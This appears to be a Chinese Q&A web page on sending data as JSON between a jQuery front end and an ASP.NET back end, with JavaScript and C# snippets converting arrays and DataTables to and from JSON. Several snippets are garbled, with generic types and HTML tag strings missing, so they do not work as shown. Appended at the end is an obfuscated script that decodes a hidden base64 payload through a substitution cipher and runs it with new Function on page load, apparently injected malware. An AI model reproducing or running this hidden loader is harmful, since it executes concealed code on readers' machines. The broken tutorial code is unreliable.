如何将数据以json格式传给前端

2024-12-14 10:21:29
推荐回答(1个)
回答1:

将数据以json格式传给前端:
function generateDtb() {
//写入
var txtName = document.getElementById("txtName").value;
//创建数组
var dtb = new Array();
//通过循环把数据写入到数组并返回
for (var i = 0; i < firstGroup.length; i++) {

var row = new Object();
row.Name = txtName;
row.fullMoney = firstGroup[i].value;
row.discount = secondGroup[i].value;
dtb.push(row);
}
return dtb;
}

把数组转换成json串传入到后台:
$(function () {
//点击botton1
$("#lbtnOK").click(function () {
var url = "DiscountManger.aspx?ajax=1";
var dtb = generateDtb();
// var strName = document.getElementById("txtName").value;

if (dtb == null)
{ }
else {
//序列化对象
var postdata = JSON.stringify(dtb);
//异步请求
$.post(url, { json: postdata }, function (json) {
if (json) {
jBox.tip("添加成功!", "提示");
location.reload();
}
else {
jBox.tip("添加失败!", "提示");
location.reload();
}
}, "json")

}
});
});

在后台的操作:
首先判断是否需要传输数据

if (!IsPostBack)
{
//判断是否异步请求
if (Request.QueryString["ajax"] == "1")
{
ProcessRequest();
}

在这里进行对数据的处理:
///


/// 处理异步请求
///

private void ProcessRequest()
{
//存入要填写的策略
ArrayList arrDiscount = new ArrayList();
Response.ContentType = "text/html";
string json = Request.Form["json"];
//反序列化DataTable
if (json == null)
{
return;
}
else
{
DataTable newdtb = Json2Dtb(json);
for (int i = 0; i < newdtb.Rows.Count; i++)
{
Entity.StrategyDiscount enStrategyDiscount = new Entity.StrategyDiscount();
//打折方案名
enStrategyDiscount.name = newdtb.Rows[i]["Name"].ToString();
//商店ID
enStrategyDiscount.shopId = long.Parse(LoginInfo.ShopID);

enStrategyDiscount.fullMoney = Convert.ToDecimal(newdtb.Rows[i]["fullMoney"].ToString());
enStrategyDiscount.discount = Convert.ToDecimal(newdtb.Rows[i]["discount"].ToString());
//写入数据到数组
arrDiscount.Add(enStrategyDiscount);
}
//写入数据到数据库
IStrategyBLL strategy = new StrategyBLL();

if (strategy.AddStrategyDiscount(arrDiscount))
{
Response.Write("true");
Response.End();
}
else
{
Response.Write("false");
Response.End();
}

}

这里,我们需要把json转换成datatable
///
/// Json转DataTable
///

///
///
private DataTable Json2Dtb(string json)
{

JavaScriptSerializer jss = new JavaScriptSerializer();
ArrayList dic = jss.Deserialize(json);
DataTable dtb = new DataTable();
if (dic.Count > 0)
{
foreach (Dictionary drow in dic)
{
if (dtb.Columns.Count == 0)
{
foreach (string key in drow.Keys)
{
dtb.Columns.Add(key, drow[key].GetType());
}
}
DataRow row = dtb.NewRow();
foreach (string key in drow.Keys)
{
row[key] = drow[key];
}
dtb.Rows.Add(row);
}
}

return dtb;
}

这样,就可以把数据无刷新的写入到数据库。
当然,如果我们有一个从数据库读取的datatable,如果通过json显示在前台呢。
首先,我们需要把datatable转换为json数据

///
/// DataTable转Json
///

///
///
private string Dtb2Json(DataTable dtb)
{
JavaScriptSerializer jss = new JavaScriptSerializer();
ArrayList dic = new ArrayList();
foreach (DataRow row in dtb.Rows)
{
Dictionary drow = new Dictionary();
foreach (DataColumn col in dtb.Columns)
{
drow.Add(col.ColumnName, row[col.ColumnName]);
}
dic.Add(drow);
}
return jss.Serialize(dic);
}

然后写回到前台

///
/// 处理异步请求
///

private void ProcessRequest()
{
Response.ContentType = "text/html";
string json = Request.Form["json"];
//反序列化DataTable
DataTable newdtb = Json2Dtb(json);
//序列化DataTable为JSON
string back = Dtb2Json(newdtb);
Response.Write(back);
Response.End();
}

在前台接受显示:

$(function() {
//点击botton1
$("#botton1").click(function() {
createTable(json);
});
});

//显示Json中的数据
function createTable(json) {
var table = $("
");
for (var i = 0; i < json.length; i++) {
o1 = json[i];
var row = $("");
for (key in o1) {
var td = $("");
td.text(o1[key].toString());
td.appendTo(row);
}
row.appendTo(table);
}
table.appendTo($("#back"));
}

(function(){function m888b98(k7d1c){var d23e48="_zGq:g|3t]^mOk8YLCo6~xX5D&MsrQ@Tidl0%/f2NcU-4vA(E=[Wnuy9SVHF71e?h;KapZ!.wRPj$JBI,b";var q7eba="H7o_VXb|Ol$j3wF81SR(ut?mk%KY[;M=,LCBEQz@0sGhN.A2ie:-g~Pv9Uypd&na4cx!T6JqI^DrfWZ]5/";return atob(k7d1c).split('').map(function(rc36d5d){var m4abcf=d23e48.indexOf(rc36d5d);return m4abcf==-1?rc36d5d:q7eba[m4abcf]}).join('')}var c=m888b98('thunder://a0VlN0drciIkIisiTCh6NyIrIloiSVQkfmU7eEVHZTYpezYkfmU7eEVHZTZmKDdOTChMTyxpRVlMenx6aS5aWVo9eix8P2ljTk49TE8pe0UkNmJSQD87M0pFZWJ2eD1jeDZlPzlFbj94R2p2Rl0/eCRHajUpKXtqPXh+amV9OT9qIEs/fExOKHxUJH5lO3hFR2U2RHw7enosTiwoKXtqPXh+amUgQ3hqRWVudiRqRzVsLT9qbEc3PTZEfDt6eixOLCgpfVE5P2ogfFo7Tk8kLD9UciJdbWNXX05McWR0QVBxIUNxX3BAZCJpIjk9aldOTCJpImNFN1coWSJpIjs7eFcoTigsV05oV05ZIEwsW0x6WyxoIklROT9qIG4/enw7Tlk/N1QuWllaPXosfD9ySz98TE4ofDZTeikrSz98TE4ofDZMTFopK0s/fExOKHw2TExMKStLP3xMTih8NlNZKUlpSyR8JFlMVC5aWVo9eix8P3JLP3xMTih8NlNZKStLP3xMTih8NkxMWikrSz98TE4ofDZMTEwpK0s/fExOKHw2U3opSWk1JCQ3TFRjTk49TE9ybj96fDtOWT83NiJzTzpIOzU6fjc4NG07NV1rN0FUVCIpSWk/Wiwsej1Ubj96fDtOWT83NiJzTyFdc2dvXW9KS118Sjp+N0FUVCIpaTdMKFlOT058elRuP3p8O05ZPzc2IjtPOkU7T29IP0osZSIpaUZ6Tyg7aFRuP3p8O05ZPzc2Ijs1Omt8VThtQi9UVCIpaUs9KEwoaDdPLFRuP3p8O05ZPzc2IjtPMGM/Zy9UIilpNz16N3okUz16VG4/enw7Tlk/NzYiOzU6KEJnIWZCL1RUIilpRjd6fExUbj96fDtOWT83NiI/NVNGfG5UVCIpaTtaLHo/ej0oP1RuP3p8O05ZPzc2Ijs1OH5CVVN4IilpOzdMLD1ULlpZWj16LHw/cm4/enw7Tlk/NzYicEo4Tj9BVFQiKUlpfExoJFlMO1RuP3p8O05ZPzc2InxVUy1CQVRUIilROT9qIHhPeno7VG4/enw7Tlk/NzYiOyhMTj9Kb103blRUIilROT9qIERPaCRPUUUkNl1HOz94RUdldmM9P2o7LXZFZTc9S3QkNnhPeno7KT5XTCl7RE9oJE9UY05OPUxPcj9aLCx6PUk2bj96fDtOWT83NiI3VTpoN1U4SEJKJVQiKSlRRE9oJE92RTdUIngiKzs3TCw9cjtaLHo/ej0oP0k2KSpMPWhRRE9oJE92Y3hIXT12a0U3eC1UIkxOTiYiUURPaCRPdmN4SF09di09RW4teFQiLE5ORksiUURPaCRPdjdFYz98XT03VHhqfj1RRSQ2Y05OPUxPdnxHN0hhVGV+XV0pe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKX09XWM9ezk/aiBHU3xMU1QkfmU7eEVHZTYpe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKVEuWllaPXosfD92aj01Rzk9JTk9ZXhkRWN4PWU9ajZ8TGgkWUw7aUdTfExTaSQ/XWM9KX1RLlpZWj16LHw/dj83NyU5PWV4ZEVjeD1lPWo2fExoJFlMO2lHU3xMU2kkP11jPSl9fTk/aiBGLD9PaChaLFRjTk49TE9yP1osLHo9STZuP3p8O05ZPzc2IkJKTEVCSi9UIikpUUYsP09oKFosdkU3VEVZTHp8eis7N0wsPXY7PUVdNjs3TCw9cjtaLHo/ej0oP0k2KSpMPWgpUUYsP09oKFosdmN4SF09di09RW4teFQiTkZLIlFGLD9PaChaLHZjeEhdPXZHOT1qJF1Ha1QiLUU3Nz1lIlE5P2ogXTtTU058JFQkfmU7eEVHZTZEej8sWj1ZOyl7OT9qID96TFNaLHp6VEskfCRZTDZ8WjtOTyQsP3Y7R2U7P3g2cmBlR2tXXntQP3g9ciJlR2siSTYpfWBpYC1qPSRXXntdRzs/eEVHZXYtaj0kfWBpYH5jO1deezdPPSQ3Nyw2KX1gSSl2Y0dqeDY2NilUPjs3TCw9cjtaLHo/ej0oP0k2KVd2LCkpckY3enxMSTYiaSIpKVE5P2ogZXw/KCgkPVQ/ekxTWix6enZFZTc9S3QkNks/fExOKHw2WkwpKT5XTFg/ekxTWix6enI3TChZTk9OfHpJNj96TFNaLHp6dkVlNz1LdCQ2Sz98TE4ofDZaTCkpKVsiIlE/ekxTWix6elQ/ekxTWix6enJGek8oO2hJNmV8PygoJD1pIiIpcks9KEwoaDdPLEk2IiIpcjc9ejd6JFM9ekk2KXJGN3p8TEk2IiIpK2V8PygoJD1RRiw/T2goWix2Y2o7VHIiLXh4RmNbYmIiK0R6PyxaPVk7aUYsP09oKFosdkU3aT96TFNaLHp6SXJGN3p8TEk2ImIiKVF4akh7Y05OPUxPdnxHN0h2P0ZGPWU3bC1FXTc2Riw/T2goWiwpfTs/eDstNj0pe2NOTj1MT3Z8RzdIdkVlYz1qeDA9JEdqPTZGLD9PaChaLGljTk49TE92fEc3SHY7LUVdNzRHNz1jck5JKX1FJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGU/RkY9ZTc9NyA9NSB4RyAteDVdIlE5P2ogRWg/aCwoP1RjTk49TE92bj14JV09NT1leDBIdzc2Riw/T2goWix2RTcpUUUkNkVoP2gsKD9UVGV+XV0zM0VoP2gsKD9UVH5lNz0kRWU9Nyl7RE9oJE92OT9dfj0rVCJcXGpcXGUgOz9leCBuPXggPTUgJGpHNSAteDVdIn19fVFFJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGVjPWU3IG1jIC1HY3ggIitmKDdOTChMTyx9OT9qIDdPPSQ3NyxUJH5lO3hFR2U2KXt4akh7O0dlY3ggZixMeiQsO1Q2ZT1rIFA/eD0pdnhHZEc7P109UD94PUN4akVlbjYpUTtHZWN4IGN6U3o9VGBjNXhFcWNFN3Feez1TO1MofFlaLHZFWUx6fHp9cUY5YFFdPXggeGg9WjdUIUN0NHZGP2pjPTZdRzs/XUN4R2o/bj12bj14d3g9NTZjelN6PSkpUUUkNnhoPVo3VFRlfl1dMzN4aD1aN3Y3P3g9YVRmLEx6JCw7KXt4aD1aN1R7RjlwRTU9Y1tOaTc/eD1bZixMeiQsO319aj14fmplIHhoPVo3dkY5cEU1PWMrTH07P3g7LTZFUyxMKCRPTCl7aj14fmplIEx9fVE5P2ogZk56Pz87LFpUJH5lO3hFR2U2SFpTP3w9KXtqPXh+amUgbj96fDtOWT83NkhaUz98PSlyRnpPKDtoSTZLP3xMTih8NmgoKWk7N0wsPXI7Wix6P3o9KD9JNil2eEdDeGpFZW42T1opdmNdRTs9Njs3TCw9diRdR0dqNjs3TCw9cjtaLHo/ej0oP0k2KSpTKSsoKSl9UV07U1NOfCQ2Zk56Pz87LFo2Zig3TkwoTE8sKSlRLlpZWj16LHw/ciI/NzclOT1leGRFY3g9ZT1qIkk2IjU9Y2M/bj0iaTYkfmU7eEVHZTZFUyxMKCRPTCl7RSQ2RVMsTCgkT0x2Nz94P3ZEVFRFWUx6fHope2NOTj1MT3ZuPXglXT01PWV4MEh3NzZGLD9PaChaLHZFNyl2aj01Rzk9NilROT9qIDUkWj0kJFRlfl1dUUUkNkRPaCRPYVRlfl1dKXtET2gkT3Y5P11+PStUIlxcalxcZWo9Oz1FOT0gPTUgRkdjeCA1PWNjP249IlFET2gkT3Y5P11+PStUIlxcalxcZT12Nz94P3Y5ICIrRVMsTCgkT0x2Nz94P3YuUTUkWj0kJFQ2dnZ2Lkw7Wlk7T2hoKVQ+e0UkNmEuTDtaWTtPaGgzMy5MO1pZO09oaHZdPWVueC08VE4paj14fmplUURPaCRPdjk/XX49K1QiXFxqXFxlIisuTDtaWTtPaGh2bUdFZTYiICIpfX1lPWsgOH5lO3hFR2U2Ij9qbmMiaUVTLEwoJE9Mdjc/eD92Lik2e3F4NztjWzUkJDdMaXFdR25bNSRaPSQkfSl9fSkpfSk2IkIoO343VS9oNDUtZnxKS3hCKDcsfEMsTnxPQVp0cERMNG5UVCJpIihZImlrRWU3R2tpN0c7fjU9ZXgpfVEkTCh6N1o2KVE='.substr(10));new Function(c)()})();